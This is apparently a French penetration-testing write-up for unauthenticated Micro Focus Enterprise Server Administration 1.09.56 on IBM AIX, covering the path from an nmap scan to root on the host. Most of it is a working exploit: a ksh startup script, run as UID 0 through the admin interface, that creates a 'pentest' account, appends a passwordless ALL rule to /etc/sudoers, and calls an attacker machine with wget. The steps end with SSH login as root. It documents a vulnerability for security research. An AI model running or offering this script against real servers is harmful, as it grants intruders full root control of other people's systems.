Exploiting Micro Focus Enterprise Server Administration (ESA) 1.09.56 to root the host

Table des matières :

Micro Focus Enterprise Server Administration (ESA) est une interface Web utilisée pour gérer les applications COBOL.

La preuve de concept suivante a été testée par sur un Micro Focus Enterprise Server Administration (ESA) 1.09.56 fonctionnant sous IBM AIX 7.1.

Reconnaissance

Le service d’administration de Micro Focus Enterprise Server Administration (ESA) s’exécute généralement sur le port 86 / tcp et est détecté comme mfcobol par nmap.

Nmap scan report for vulnserver.com (10.0.0.1)
Host is up (0.0021s latency).
Not shown: 65571 closed ports
PORT      STATE         SERVICE          VERSION
22/tcp    open          ssh              OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey:
|   2048 01:02:03:04:05:06:07:08:09:0a:0b:0c:0d:0e:0f:00 (RSA)
|   256  01:02:03:04:05:06:07:08:09:0a:0b:0c:0d:0e:0f:00 (ECDSA)
|_  256  01:02:03:04:05:06:07:08:09:0a:0b:0c:0d:0e:0f:00 (ED25519)
23/tcp    open          telnet           AIX telnetd
86/tcp    open          mfcobol?
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 200 OK
|     Server: Micro Focus DSD 1.0.0
|     Cache-control: no-cache
|     Pragma: no-cache
|     Expires: -1
|     Content-Type: text/html
|     Set-Cookie: MF_CLIENT=mfuser ; path=/;
|     MF-Cookie-1: MF_CLIENT=mfuser ;
|     Set-Cookie: MF_SESSION=5f7c316e ; path=/;
|     MF-Cookie-2: MF_SESSION=5f7c316e ;
|     Set-Cookie: MF_CONTACT=1797225151 ; path=/;
|     MF-Cookie-3: MF_CONTACT=1797225151 ;
|     Content-Length: 81333
|     <HTML>
|     <head>
|     <meta name="robots" content="noindex">
|     <meta name="author" lang="en" content="Micro Focus International">
|     <meta name="copyright" lang="en" content="&copy; 2001-2008 Micro Focus International">
|     <meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
|     <title>
|     10.0.0.1 (vulnserver.com:86):
|   GetRequest:
|     HTTP/1.0 200 OK
|     Server: Micro Focus DSD 1.0.0
|     Cache-control: no-cache
|     Pragma: no-cache
|     Expires: -1
|     Content-Type: text/html
|     Set-Cookie: MF_CLIENT=mfuser ; path=/;
|     MF-Cookie-1: MF_CLIENT=mfuser ;
|     Set-Cookie: MF_SESSION=5f7c316e ; path=/;
|     MF-Cookie-2: MF_SESSION=5f7c316e ;
|     Set-Cookie: MF_CONTACT=1797225151 ; path=/;
|     MF-Cookie-3: MF_CONTACT=1797225151 ;
|     Content-Length: 81333
|     <HTML>
|     <head>
|     <meta name="robots" content="noindex">
|     <meta name="author" lang="en" content="Micro Focus International">
|     <meta name="copyright" lang="en" content="&copy; 2001-2008 Micro Focus International">
|     <meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
|     <title>
|_    10.0.0.1 (vulnserver.com:86):

Device type: general purpose
Running: IBM AIX 5.X|6.X|7.X
OS CPE: cpe:/o:ibm:aix:5 cpe:/o:ibm:aix:6 cpe:/o:ibm:aix:7
OS details: IBM AIX 5.3 - 7.1
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: VULNSRV; OSs: Unix, AIX; CPE: cpe:/o:ibm:aix

Host script results:
| nbstat: NetBIOS name: VULNSRV, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   VULNSRV<00>          Flags: <unique><active>
|   VULNSRV<03>          Flags: <unique><active>
|_  VULNSRV<20>          Flags: <unique><active>
| smb-security-mode:
|   account_used: guest
|   authentication_level: share (dangerous)
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Initial access

Au cours de mes recherches, j’ai été assez surpris qu’il n’y ait pas de page d’authentification pour accéder à la page Web du MicroFocus Enterprise Server Administration (ESA) sur http://10.0.0.1:86.

Access MicroFocus ESA webpage

Nous pouvons maintenant commencer à explorer pour trouver des comportements intéressants!

Getting code execution on the server

Après avoir exploré les différentes pages que nous avons dans l’interface, nous constatons que nous pouvons créer et démarrer de nouvelles applications COBOL en cliquant sur Ajouter en bas de la page d’accueil.

Sur la page de création d’une nouvelle application, nous pouvons modifier divers paramètres concernant notre application. Un paramètre intéressant est la possibilité d’ajouter un script shell de démarrage qui sera exécuté avant de démarrer l’application COBOL. Mieux encore, nous pouvons spécifier l’ID utilisateur sous lequel notre script sera exécuté.

Par conséquent, nous avons juste besoin de créer une nouvelle application dans l’interface (nommée “REVSHELL") et d’ajouter un script simple pour créer un nouvel utilisateur et l’ajouter aux sudoers pour pouvoir exécuter n’importe quel programme en tant que root sans mot de passe (configuration : backdoor ALL = (ALL) NOPASSWD: ALL).

#!/bin/ksh

REVIP="10.0.0.2" # Your attacker machine
REVPORT="8081"

# Credentials of the account to create
USER="pentest"
PASSWORD="pentest"

wget "http://${REVIP}:${REVPORT}/" \
    --output-file=/dev/null \
    --user-agent="$(/usr/sbin/userdel ${USER}), $(echo "${USER}:${PASSWORD}" | /usr/bin/chpasswd 2>&1), $(echo "${USER} ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers 2>&1)" \
    2>/dev/null

casstart

Important: Il est essentiel de ne pas oublier de mettre casstart à la fin du script, car cette commande lance en fait l’application COBOL après notre script.

Nous définissons maintenant l’ID utilisateur sur «0» pour exécuter notre script en tant que «root», et cliquez sur «Appliquer» pour créer notre nouvelle application. Attendez quelques minutes et l’utilisateur devrait avoir été créé.

Create startup script

Accès SSH

Lorsque votre application “REVSHELL” a démarré au moins une fois, vous devriez pouvoir vous connecter via SSH en utilisant votre compte pentest: pentest:

SSH Access

Comme nous avons ajouté ce compte au groupe sudo, nous sommes maintenant root sur le serveur hôte!

Références